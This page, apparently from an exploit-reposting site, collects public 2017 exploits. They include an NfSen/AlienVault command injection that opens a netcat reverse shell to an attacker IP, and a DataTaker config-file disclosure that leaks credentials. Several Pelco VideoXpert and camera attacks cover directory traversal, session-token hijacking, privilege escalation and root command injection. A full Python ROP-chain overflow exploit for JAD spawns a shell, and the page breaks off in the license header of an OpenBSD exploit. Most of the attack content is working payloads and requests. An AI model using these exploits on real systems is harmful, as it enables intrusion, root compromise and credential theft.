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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: NfSen/AlienVault remote root exploit (command injection in customfmt parameter)
# Version: NfSen 1.3.6p1, 1.3.7 and 1.3.7-1~bpo80+1_all. Previous versions are also likely to be affected.
# Version: AlienVault USM/OSSIM < 4.3.1
# Date: 2017-07-10
# Vendor Homepage: http://nfsen.sourceforge.net/
# Vendor Homepage: http://www.alienvault.com/
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Tested on: NfSen 1.3.7
# CVE: CVE-2017-7175, CVE-2017-6972

1. Description

A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request with shell commands which will be executed as root on a vulnerable system. The injection is covered by CVE-2017-7175, and the commands are executed as root due to CVE-2017-6972.

2. Proof of Concept


For a reverse shell to attacking machine 10.100.1.2, on the NfSen / AlienVault netflow processing web page, enter the following into the "Custom output format:" input box:

'; nc -ne /bin/bash 10.100.1.2 443 #

If nc is not installed on the target, then alternative attacks are likely to be possible to leverage the vulnerability.

3. Solution:

Update to latest version of NfSen/USM/OSSIM
HireHackking 
[+] Title: DataTaker DT80 dEX 1.50.012 - Sensitive Configurations Exposure
[+] Credits / Discovery: Nassim Asrir
[+] Author Contact: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/
[+] Author Company: Henceforth
[+] CVE: CVE-2017-11165
 
Vendor:
===============
 
http://www.datataker.com/
  
  
About:
========

The dataTaker DT80 smart data logger provides an extensive array of features that allow it to be used across a wide variety of applications. The DT80 is a robust, stand alone, low power data logger featuring USB memory stick support, 18 bit resolution, extensive communications capabilities and built-in display.

The dataTaker DT80’s Dual Channel concept allows up to 10 isolated or 15 common referenced analog inputs to be used in many combinations. With support for multiple SDI-12 sensor networks, Modbus for SCADA systems, FTP and Web interface, 12V regulated output to power sensors, the DT80 is a totally self contained solution.  
  
Vulnerability Type:
===================
 
Sensitive Configurations Exposure.
 
 
issue:
===================
 
dataTaker dEX 1.350.012 allows remote attackers to obtain sensitive configuration information via
a direct request for the /services/getFile.cmd?userfile=config.xml URI.
  
POC:
===================

http://victim/services/getFile.cmd?userfile=config.xml


Output:
========

<config id="config" onReset="yes" projectFileVersion="2" targetDevice="DT80-3" targetSeries="3" cemCount="1" version="2.0">
<environment>
<application version="1.50.012" build="2014-01-07, 15:16:53"/>
<flashPlayer version="WIN 11.7.700.169" type="PlugIn(non-debugger)"/>
<operatingSystem version="Windows 7"/><firmware version="9.14.5407"/>
<screen resolution="1024x768"/>
</environment>

etc....

<loggerSetting category="PPP" profile="USER">username</loggerSetting>

<loggerSetting category="PPP" profile="PASSWORD">password</loggerSetting>

<loggerSetting category="FTP_SERVER" profile="PORT">21</loggerSetting>

<loggerSetting category="FTP_SERVER" profile="USER">arrdhor</loggerSetting>

<loggerSetting category="FTP_SERVER" profile="PASSWORD">arrdhor</loggerSetting>

<loggerSetting category="FTP_SERVER" profile="ALLOW_ANONYMOUS">YES</loggerSetting>
HireHackking 
Schneider Electric Pelco VideoXpert Missing Encryption Of Sensitive Information


Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: 2.0.41
                  1.14.7
                  1.12.105

Summary: VideoXpert is a video management solution designed for
scalability, fitting the needs surveillance operations of any size.
VideoXpert Ultimate can also aggregate other VideoXpert systems,
tying multiple video management systems into a single interface.

Desc: The software transmits sensitive data using double Base64 encoding
for the Cookie 'auth_token' in a communication channel that can be
sniffed by unauthorized actors or arbitrarely be read from the vxcore
log file directly using directory traversal attack resulting in
authentication bypass / session hijacking.
Ref: ZSL-2017-5419

Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Jetty(9.2.6.v20141205)
           MongoDB/3.2.10


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5420
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5420.php


05.04.2017

--


After a user logs in, the web server creates a Cookie: auth_token which has the following value:

ZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWNHRnpjM2R2Y21RaU9pSmhaRzFwYmpFeU15SXNJbVJ2YldGcGJpSTZJa3hQUTBGTUlpd2laWGh3YVhKbGN5STZNVFE1TVRVMU5qYzVOekUxT0N3aVlXZGxiblFpT2lJME1HWTJORE00TmkxbVptTXdMVFExTkRFdE9XTmpaQzFoTlRJeU0yUmlNbVpqTURraUxDSmpiR2xsYm5SSmNDSTZJakV5Tnk0d0xqQXVNU0o5

Base64 decoding that becomes:

eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbjEyMyIsImRvbWFpbiI6IkxPQ0FMIiwiZXhwaXJlcyI6MTQ5MTU1Njc5NzE1OCwiYWdlbnQiOiI0MGY2NDM4Ni1mZmMwLTQ1NDEtOWNjZC1hNTIyM2RiMmZjMDkiLCJjbGllbnRJcCI6IjEyNy4wLjAuMSJ9

Again decoding, gives us result:

{"username":"admin","password":"admin123","domain":"LOCAL","expires":1491556797158,"agent":"40f64386-ffc0-4541-9ccd-a5223db2fc09","clientIp":"127.0.0.1"}


PoC remote session takeover with directory traversal:
-----------------------------------------------------

bash-4.4$ cat pelco_live.txt
GET /portal//..\\\..\\\..\\\..\\\ProgramData\Pelco\Core\core\vxcore.log HTTP/1.1
Host: 127.0.0.1
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36
Content-Type: text/plain; charset=utf-8
Accept: */*
Referer: https://127.0.0.1/portal/
Accept-Language: en-US,en;q=0.8,mk;q=0.6
DNT: 1

bash-4.4$ ncat -v -n 127.0.0.1 80 < pelco_live.txt > vxcore_log.txt
bash-4.4$ cat vxcore_log.txt
--snip--
INFO  [2017-04-06 11:20:09.999] [HealthCheckMonitorPollingThread-0] org.mongodb.driver.connection: Closed connection [connectionId{localValue:400, serverValue:473}] to mongod0-rs1-dfde27ce-6a4f-413a-a7c2-6df855d462df:31001 because the pool has been closed. 
INFO  [2017-04-06 11:20:12.559] [dw-5099 - GET /portal/System.html?auth_token=ZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWNHRnpjM2R2Y21RaU9pSmhaRzFwYmpFeU15SXNJbVJ2YldGcGJpSTZJa3hQUTBGTUlpd2laWGh3YVhKbGN5STZNVFE1TVRVMU5qYzVOekUxT0N3aVlXZGxiblFpT2lJME1HWTJORE00TmkxbVptTXdMVFExTkRFdE9XTmpaQzFoTlRJeU0yUmlNbVpqTURraUxDSmpiR2xsYm5SSmNDSTZJakV5Tnk0d0xqQXVNU0o5] com.pelco.vms.webService.application.servlets.StaticContentServlet: Returning static content for URI /portal/System.html 
INFO  [2017-04-06 11:20:12.567] [dw-5055 - GET /portal/Lilac.css] com.pelco.vms.webService.application.servlets.StaticContentServlet: Returning static content for URI /portal/Lilac.css 
INFO  [2017-04-06 11:20:12.568] [dw-5098 - GET /portal/lilac/lilac.nocache.js] com.pelco.vms.webService.application.servlets.StaticContentServlet: Returning static content for URI /portal/lilac/lilac.nocache.js 
--snip--

bash-4.4$ cat pelco_auth_token.txt
ZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWNHRnpjM2R2Y21RaU9pSmhaRzFwYmpFeU15SXNJbVJ2YldGcGJpSTZJa3hQUTBGTUlpd2laWGh3YVhKbGN5STZNVFE1TVRVMU5qYzVOekUxT0N3aVlXZGxiblFpT2lJME1HWTJORE00TmkxbVptTXdMVFExTkRFdE9XTmpaQzFoTlRJeU0yUmlNbVpqTURraUxDSmpiR2xsYm5SSmNDSTZJakV5Tnk0d0xqQXVNU0o5
bash-4.4$ base64 -D pelco_auth_token.txt |base64 -D -
{"username":"admin","password":"admin123","domain":"LOCAL","expires":1491556797158,"agent":"40f64386-ffc0-4541-9ccd-a5223db2fc09","clientIp":"127.0.0.1"}
bash-4.4$
HireHackking 
Schneider Electric Pelco VideoXpert Core Admin Portal Directory Traversal


Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: 2.0.41
                  1.14.7
                  1.12.105

Summary: VideoXpert is a video management solution designed for
scalability, fitting the needs surveillance operations of any size.
VideoXpert Ultimate can also aggregate other VideoXpert systems,
tying multiple video management systems into a single interface.

Desc: Pelco VideoXpert suffers from a directory traversal vulnerability.
Exploiting this issue will allow an unauthenticated attacker to
view arbitrary files within the context of the web server.


Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Jetty(9.2.6.v20141205)
           MongoDB/3.2.10


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5419
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5419.php


05.04.2017

--


PoC:
----

GET /portal//..\\\..\\\..\\\..\\\windows\win.ini HTTP/1.1
Host: 172.19.0.198
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


HTTP/1.1 200 OK
Date: Wed, 05 Apr 2017 13:27:39 GMT
Last-Modified: Tue, 14 Jul 2009 05:09:22 GMT
Cache-Control: public, max-age=86400
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
ETag: 1247548162000
Content-Length: 403
Connection: close

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo


------


GET /portal//..\\\..\\\..\\\..\\\ProgramData\Pelco\Core\db\security\key.pem HTTP/1.1
Host: 172.19.0.198
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


HTTP/1.1 200 OK
Date: Thu, 06 Apr 2017 11:59:07 GMT
Last-Modified: Wed, 05 Apr 2017 12:58:36 GMT
Cache-Control: public, max-age=86400
Content-Type: text/html; charset=UTF-8
ETag: 1491397116000
Content-Length: 9
Connection: close

T0ps3cret


------


bash-4.4$ cat pelco_system_ini.txt
GET /portal//..\\\..\\\..\\\..\\\windows\system.ini HTTP/1.1
Host: 172.19.0.198
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

bash-4.4$ ncat -v -n 172.19.0.198 80 < pelco_system_ini.txt
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Connected to 172.19.0.198:80.
HTTP/1.1 200 OK
Date: Thu, 06 Apr 2017 12:30:01 GMT
Last-Modified: Wed, 10 Jun 2009 21:08:04 GMT
Cache-Control: public, max-age=86400
Content-Type: text/html; charset=UTF-8
ETag: 1244668084000
Content-Length: 219
Connection: close

; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]
Ncat: 220 bytes sent, 460 bytes received in 0.03 seconds.
bash-4.4$
HireHackking 
Schneider Electric Pelco VideoXpert Privilege Escalations


Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: Core Software 1.12.105
                  Media Gateway Software 1.12.26
                  Exports 1.12


Summary: VideoXpert is a video management solution designed for
scalability, fitting the needs surveillance operations of any size.
VideoXpert Ultimate can also aggregate other VideoXpert systems,
tying multiple video management systems into a single interface.

Desc: The application is vulnerable to an elevation of privileges
vulnerability which can be used by a simple user that can change
the executable file with a binary of choice. The vulnerability exist
due to the improper permissions, with the 'F' flag (full) for the
'Users' group, for several binary files. The service is installed
by default to start on system boot with LocalSystem privileges.
Attackers can replace the binary with their rootkit, and on reboot
they get SYSTEM privileges.

VideoXpert services also suffer from an unquoted search path issue
impacting the 'VideoXpert Core' and 'VideoXpert Exports' services
for Windows deployed as part of the VideoXpert Setup bundle. This
could potentially allow an authorized but non-privileged local user
to execute arbitrary code with elevated privileges on the system. A 
successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user’s code would execute
with the elevated privileges of the application.

Tested on: Microsoft Windows 7 Professional SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5418
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5418.php


05.04.2017

--


C:\Program Files\Pelco\Core>sc qc "VideoXpert Core"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VideoXpert Core
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Pelco\Core\tools\nssm.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VideoXpert Core
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


C:\>cacls "C:\Program Files\Pelco\Core\tools\nssm.exe"
C:\Program Files\Pelco\Core\tools\nssm.exe NT AUTHORITY\SYSTEM:(ID)F
                                           BUILTIN\Administrators:(ID)F
                                           BUILTIN\Users:(ID)R


C:\ProgramData\Pelco\Core\db\bin>cacls * |findstr "Users:(ID)F"
C:\ProgramData\Pelco\Core\db\bin\libeay32.dll BUILTIN\Users:(ID)F
C:\ProgramData\Pelco\Core\db\bin\mongod.exe BUILTIN\Users:(ID)F
C:\ProgramData\Pelco\Core\db\bin\mongos.exe BUILTIN\Users:(ID)F
C:\ProgramData\Pelco\Core\db\bin\nssm.exe BUILTIN\Users:(ID)F
C:\ProgramData\Pelco\Core\db\bin\ssleay32.dll BUILTIN\Users:(ID)F


C:\>cacls "C:\ProgramData\Pelco\Exports\bin\nssm.exe"
C:\ProgramData\Pelco\Exports\bin\nssm.exe BUILTIN\Users:(ID)F
                                          NT AUTHORITY\SYSTEM:(ID)F
                                          BUILTIN\Administrators:(ID)F


C:\>cacls "C:\ProgramData\Pelco\Gateway\bin\nssm.exe"
C:\ProgramData\Pelco\Gateway\bin\nssm.exe BUILTIN\Users:(ID)F
                                          NT AUTHORITY\SYSTEM:(ID)F
                                          BUILTIN\Administrators:(ID)F



C:\Users\senad>sc qc "VideoXpert Exports"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VideoXpert Exports
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\ProgramData\Pelco\Exports\bin\nssm.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VideoXpert Exports
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
HireHackking 
Schneider Electric Pelco Sarix/Spectra Cameras Root Remote Code Execution


Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)
                  Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)
                  Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)
                  Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)
                  Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)

Summary: Pelco offers the broadest selection of IP cameras designed
for security surveillance in a wide variety of commercial and industrial
settings. From our industry-leading fixed and high-speed IP cameras to
panoramic, thermal imaging, explosionproof and more, we offer a camera
for any environment, any lighting condition and any application.
When nothing but the best will do. Sarix™ Enhanced Range cameras
provide the most robust feature-set for your mission-critical applications.
With SureVision™ 3.0, Sarix Enhanced delivers the best possible image
in difficult lighting conditions such as a combination of bright areas,
shaded areas, and intense light. Designed with superior reliability,
fault tolerance, and processing speed, these rugged fixed IP cameras
ensure you always get the video that you need.

Desc: The affected cameras suffer from authenticated remote code
execution vulnerability. The POST parameter 'enable_leds' located
in the update() function called via the GeneralSetupController.php
script is not properly sanitised before being used in writeLedConfig()
function to enable led state to on or off. A remote attacker can
exploit this issue and execute arbitrary system commands granting
her system access with root privileges using a specially crafted
request and escape sequence to system shell.


---------------------------------------------------------------------------
/var/www/core/setup/controllers/GeneralSetupController.php:
-----------------------------------------------------------

43: public function update() {
44:         $errOccurred = false;
45:         $logoreboot = false;
46: 
47:         // If can update general settings
48:         if ($this->_context->_user->hasPermission("{51510980-768b-4b26-a44a-2ae49f308184}")) {
49:
50:             $errors = $this->validateInputs("setup", "general.invalid");
51:
52: //
53:             $new_logo_path;
54:             if (empty($errors) && (strlen($_FILES["new_logo_path"]["name"]) > 0)) {
55:                 // The user has provided a file to load in as an image.  Verify that the file is ok.
56:                 $errors = $this->storeBmpFileIfValid($new_logo_path, $width, $height);
57:             } else {
58:                 // In this case, get the width and height from the omons settings
59:                 $width = intval($this->_conf->get("Video/Overlay", "LogoWidth"));
60:                 $height = intval($this->_conf->get("Video/Overlay", "LogoHeight"));
61:             }
62: //
63:             if (empty($errors)) {
64:                 $device_name = $_POST["device_name"];
65:
66:                 $this->_conf->set("Device", "FriendlyName", $device_name);
67:
68:                 // update smtp server; append port 25 if it's not provided by the user
69:                 $smtpServer = $_POST["smtp_server"];
70:
71:                 if ((! empty($smtpServer)) && preg_match(self::kHostPortRegex, $smtpServer) == 0) {
72:                     $smtpServer .= ":" . self::kDefaultSmtpPort;
73:                 }
74:
75:                 $this->_conf->set("Networking", "SmtpServer", $smtpServer);
76:
77: //
78:                 $success = $this->writeLedConfig($_POST["enable_leds"]);
79: //
80:             } else {
81:                 $this->_context->setError("phobos", "validation.failure");
82:                 $this->_context->setErrorList($errors);
83:
84:                 $errOccurred = true;
85:             }
86:         }

...
...
...

Bonus hint: When uploading a bmp logo, you can modify the width offset for example and inject persistent code:
--
-> 12h: 00 01 00 00 ; width (max 0x100, min 0x20)
--
191:             if ($logoOverlay) {
192:                 if($logoreboot) {
193:                     $cmd = "/usr/bin/overlayLogo " . $logo_justification . " " . $logo_row . " " . $width  . " " .  $height . " 0";
194:                     exec($cmd);
195:                 }
196:             } else {                
197:                 $cmd = "/usr/bin/overlayLogo 1 1 1 1 1";
198:                 exec($cmd);
199:             }                

...
...
...

265:         $vparams["enable_leds"] = $this->getLedConfig();
266: //
267:         $vparams["device_name"]  = $this->_conf->get("Device", "FriendlyName");
268:         $vparams["TimeFormat"] = $this->_conf->get("Video/Overlay", "TimeFormat");        
269:         $vparams["date_formats"] = $this->getDateFormats();
270:         $vparams["selectedDateFormat"] = $this->_conf->get("Video/Overlay", "DateFormat");
271:
272:         ob_start();
273:         passthru("date +\"" . $vparams["TimeFormat"] . "\"");
274:         $vparams["current_time"] = trim(ob_get_contents());
275:         ob_end_clean();

...
...
...

630:     /** @param $state string "on" or "off" */
631:     protected function writeLedConfig($state) {
632:         $encoded = array('type' => 'uint32',
633:             'value' => ($state == 'on' ? 1 : 0));
634:
635:         $rest = $this->getRestProxy();
636:         $params = array(array('type' => 'uint32', 'value' => 10), $encoded);
637:         $response = $rest->GetWithPayload('/internal/msgbus/com.pelco.hardware.led/SetState?',
638:                                'application/json',
639:                                $params);
640:
641:         return ($response->GetStatus() == 200);
642:     }

---------------------------------------------------------------------------


Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
           MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)
           Lighttpd/1.4.28
           PHP/5.3.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5417
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5417.php


07.04.2017

--


PoC sleep 17s:

POST /setup/system/general/update HTTP/1.1
Host: 192.168.1.1
Content-Length: x
Cache-Control: max-age=0
Origin: http://192.168.1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.1.1/setup/system/general
Accept-Language: en-US,en;q=0.8,mk;q=0.6
Cookie: PHPSESSID=p2ooorb7gloavc0et2stj2tnn4; authos-token=07E14CAF; svcts=1495616826
Connection: close

device_name=ZSL&enable_leds=%60sleep%2017%60&smtp_server=&ntp_server_from_dhcp=false&ntp_server=time.nist.gov&region=Universe&zone=Earth&enable_time_overlay=on&enable_name_overlay=off&position=topright&date_format=0

===

PoC echo:

POST /setup/system/general/update HTTP/1.1
Host: 192.168.1.1

enable_leds=%60echo%20251%20>test.html%60

--

GET http://192.168.1.1/test.html HTTP/1.1

Response:

251
HireHackking 
#!/usr/bin/python
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# Description: JAD ( Java Decompiler ) 1.5.8e-1kali1 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate boundary-checks on user-supplied input.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://www.varaneckas.com/jad/
#
# CANARY    : disabled
# FORTIFY   : disabled
# NX        : ENABLED
# PIE       : disabled
# RELRO     : disabled
#
import os, subprocess
from struct import pack

ropchain = "A"*8150 # junk
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe0) # @ .data
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x0807b744) # pop eax ; ret
ropchain += '/bin'
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe4) # @ .data + 4
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x0807b744) # pop eax ; ret
ropchain += '//sh'
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret
ropchain += pack('<I', 0x0811abe0) # @ .data
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x08067b43) # pop ecx ; ret
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
ropchain += pack('<I', 0x0811abe0) # padding without overwrite ebx
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080c861f) # int 0x80

try:
   print("[*] JAD 1.5.8 Stack-Based Buffer Overflow by Juan Sacco")
   print("[*] Please wait.. running")
   subprocess.call(["jad", ropchain])
except OSError as e:
   if e.errno == os.errno.ENOENT:
       print "JAD  not found!"
   else:
    print "Error executing exploit"
   raise
HireHackking 
/*
 * OpenBSD_at.c for CVE-2017-1000373
 * Copyright (c) 2017  Qualys, Inc.
 * slowsort() adapted from lib/libc/stdlib/qsort.c:
 *
 * Copyright (c) 1992, 1993
 *      The Regents of the University of California.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. Neither the name of the University nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

/*
 *  OpenBSD_at.c for CVE-2017-1000372
 *  Copyright (C) 2017  Qualys, Inc.
 *  ttime() adapted from usr.bin/at/at.c:
 *
 *  at.c : Put file into atrun queue
 *  Copyright (C) 1993, 1994  Thomas Koenig
 *
 *  Atrun & Atq modifications
 *  Copyright (C) 1993  David Parsons
 *
 *  Traditional BSD behavior and other significant modifications
 *  Copyright (C) 2002-2003  Todd C. Miller
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. The name of the author(s) may not be used to endorse or promote
 *    products derived from this software without specific prior written
 *    permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#include <ctype.h>
#include <dirent.h>
#include <dlfcn.h>
#include <fcntl.h>
